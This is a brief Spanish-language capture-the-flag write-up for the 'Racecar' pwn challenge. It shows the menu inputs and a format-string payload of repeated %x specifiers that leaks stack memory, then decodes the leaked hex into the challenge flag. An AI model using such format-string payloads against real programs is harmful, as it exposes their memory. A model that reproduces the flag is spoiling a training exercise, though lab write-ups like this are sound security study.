Racecar

Challenge Description

Did you know that racecar spelled backwards is racecar? Well, now that you know everything about racing, win this race and get the flag!

Categoria: Pwn
Dificultad: Muy Fácil
Puntos: 10

Solution

El binario es vulnerable a format string despues de ingresar las siguientes validaciones.

  • 2
  • 2
  • 1

Ahora ingresamos la siguiente cadena.

%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

Y nos dara memory leak donde se encuentra la flag.

7b4254485f7968775f64316434735f31745f3376665f33685f67346c745f6e30355f33686b6334747d213f

Convertimos de hex to ascii e invertimos la cadena cada 4 caracteres para obtener la flag.

{BTH_yhw_d1d4s_1t_3vf_3h_g4lt_n05_3hkc4t}!?
HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}